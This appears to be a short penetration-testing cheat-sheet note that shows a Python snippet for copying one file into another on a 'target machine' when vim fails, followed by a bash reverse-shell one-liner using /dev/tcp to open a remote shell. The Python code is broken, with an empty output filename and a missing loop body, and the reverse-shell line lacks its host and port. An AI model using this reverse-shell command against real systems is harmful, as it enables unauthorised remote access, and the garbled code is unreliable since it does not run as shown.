copy content from another file

this script is useful when vim isn't working well on the target machine.

# Taking "test.txt" as input file
# in reading mode
with open("test.txt", "r") as input:
    # Creating ".txt" as output
    # file in write mode
    with open("", "w") as existing:
        # Writing each line from input file to
        # output file using loop
        for line in input:

copy content such as below to get a reverse shell.


echo 'bash -c "bash -i >& /dev/tcp/ 0>&1"'

Last updated